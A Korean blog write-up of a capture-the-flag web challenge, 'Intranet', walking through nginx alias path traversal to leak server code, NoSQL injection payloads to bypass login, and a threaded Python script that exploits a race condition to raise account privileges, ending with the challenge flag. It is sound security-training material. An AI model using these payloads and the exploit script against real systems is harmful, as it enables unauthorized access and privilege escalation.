문 제

분 야

점 수

1.3 Intranet

web

?

노출된 적국의 생화학 연구소 내부 사이트에서, 관리자 권한을 탈취하여 내부 시스템을 탐색하라.

http://3.35.40.133

풀이 절차

  1. nginx route 설정 오류를 이용한 server source code leak
  2. nosql injection을 이용한 member권한 획득
  3. 기능 확인 후 race condition을 이용하여 admin 권한 획득
  4. 게시판의 member level=2 게시글 조회 시 플래그 획득

정 답

flag{This_is_top_secret_dont_you_agree}

풀 이 과 정

sign up / sign in 페이지가 있고

회원가입후 로그인하고 mypage에 가보면 perm Guest인것을 확인할 수 있다.

이때 /api/static/{:userid} 를 요청해오는데, 이와 서버가 nginx임을 미루어 보아 잘못된 route설정으로 인하여 file leak이 될 수도 있다는것을 가정해볼 수 있다.

이처럼 /api/static../User.js 를 요청하면 nginx에서의 잘못된 route설정으로 인하여 static디렉터리를 벗어나 본래 접근할 수 없는 파일에 접근하게 되어 서버단 코드를 획득할 수 있다.

----------------------------------------------------------------------------------------------

const signin = (req, res) => {

    User

        .findOne({

            userid: req.body.userid,

            password: req.body.password

        })

        .then(user => {

            if (!user) {

                res.status(406);

                res.send();

            } else {

                res.status(200);

                control

                    .sign({ id: user.userid })

                    .then(tok => {

                        res.send(JSON.stringify({

                            username: user.userid,

                            token: tok

                        }))}

                    );

            }})

        .catch(err => {

            res.status(500);

            res.send(JSON.stringify({ reason: { html: err } }));

        });

};


----------------------------------------------------------------------------------------------

서버단 코드 중 로그인 부분 코드를 보면 mongo db Model .findOne 메서드를 이용하여 사용자로부터 전달받은 id password key로 검색하는 것을 확인할 수 있다.

 

하지만 findOne 메서드를 이용하는점 + 서버의 구성이 app.use( bodyParser.urlencoded({ extended: true }) ); 로 이루어져 있기 때문에 사용자는 Object 객체를 직접 전달할 수 있다. 이로 인하여 nosql injection이 발생하게 되어

{"userid":"admin","password":{"$gt":""}} 와같이 요청하게 되면 admin의 패스워드를 모르더라도 로그인이 가능해진다.

 

nosql injection을 통해 admin의 토큰을 알아냈으니 local storage의 토큰값을 admin토큰으로 바꾸면 이와같이 admin으로 로그인된것을 확인할수있다.

 

 

하지만 해당 문제에서 진짜 어드민은 level=2 이상이 되어야한다.



현재 접속한 어드민은 level=1(member)로써 board list에서 조회할 수 있는 게시글은 자신의 레벨보다 낮은 레벨의 게시글만 조회할 수 있다. 따라서 문제의 목적에 따라 어드민 레벨을 획득하여야 한다.

 

이 상황에서 auth 동작이 다소 이상하게 되어있는데, 만약 올바른 division_number를 입력할 시 현재 접속한 계정의 level 0일경우 해당 계정의 level 1 올려주는 동작을 한다.

 

division_number는 알려져 있지 않지만 이또한 마찬가지로 nosql injection을 통해 레벨을 올릴 수 있다.

 

또한 해당 코드가 Division 모델에서 findOne 함수를 이용해 값을 찾고 updateOne을 이용해 update하는것으로 미루어보아 빠르게 해당 요청을 두번 전송하면 race condition이 발생하여 level이 두번 증가될 수 있을 가능성을 확인하였다.


---------------------------------------------------------------------------------------------- 

#-*- coding:utf-8 -*-

import requests

import sys

import time

import re

import string

import datetime

import json, os, sys, html, zlib

from arang import *

from concurrent.futures import ThreadPoolExecutor

from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

 

packet='''POST http://3.35.40.133/api/signup HTTP/1.1

Host: 3.35.40.133

Connection: keep-alive

Content-Length: 42

Accept: application/json, text/plain, */*

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36

Content-Type: application/json;charset=UTF-8

Origin: http://3.35.40.133

Referer: http://3.35.40.133/signup

Accept-Encoding: gzip, deflate

Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7

 

'''

 

s = requests.session()

 

def raceCondition(args):

    global pp,s

    u = 'http://3.35.40.133/api/auth'   

    data = {"division_number":{"$gt":""}}

    r = s.post(u, data=json.dumps(data), headers=pp.headers)

    print('--------------')

    print(r.content)

    print('--------------')

 

   

 

for i in range(1,1000):

    # signup   

    pp = parsePacket(packet.format(i))

    pp.proxies="127.0.0.1:8888"

    data = {"userid":"arat0{:03d}".format(i),"password":"dkfkd31231"}

    r = s.post(pp.url, data=json.dumps(data), headers=pp.headers)

    if r.status_code==200:

        # signin

        u = "http://3.35.40.133/api/signin"

        data = {"userid":"arat0{:03d}".format(i),"password":{"$gt":""}}

        r = s.post(u, data=json.dumps(data), headers=pp.headers)

        if r.status_code==200:

            rj = json.loads(r.content)

            pp.headers['x-access-token'] = rj['token']

           

           

           

            with ThreadPoolExecutor(3) as pool:

                t=[1,2,3,4,5]

                ret = [x for x in pool.map(raceCondition,t)]


---------------------------------------------------------------------------------------------- 

위와같은 race condition을 발생시키는 익스플로잇 코드를 통해 level 2번 증가시킬 수 있다

실제로 auth 요청이 2번 된것을 확인하였고, 그 계정으로 로그인 시

admin으로 변한것을 확인할 수 있다.

플래그 획득

  1. 2020.09.15 21:11

    비밀댓글입니다

    • ar9ang3 ar9ang3 2020.09.15 22:18 신고

      (1)
      nginx routing(alias) 설정 중 잘못된 설정으로 인해 본문에 적힌것처럼 상위 디렉터리의 파일을 읽어올 수 있습니다. 어떤 근거로 접근방법을 떠올렸냐 하면 문제 풀이 과정에 file leak이 있어야 합리적인 문제라는 생각이 들었고 file leak 방법을 찾던 중 해당 내용이 떠올랐습니다. ctf에서도 이거 이용해서 file leak 주는 경우가 많았구요

      cf.) https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/

      (2)의 설명도 위와 같습니다.
      다만 해당 취약점으로는 바로 위 디렉터리의 파일들만 접근이되고 그 상위, 즉 상위의 상위 디렉터리의 파일들은 접근이 안됩니다. 참고바랍니다.

  2. 2020.09.15 23:35

    비밀댓글입니다

+ Recent posts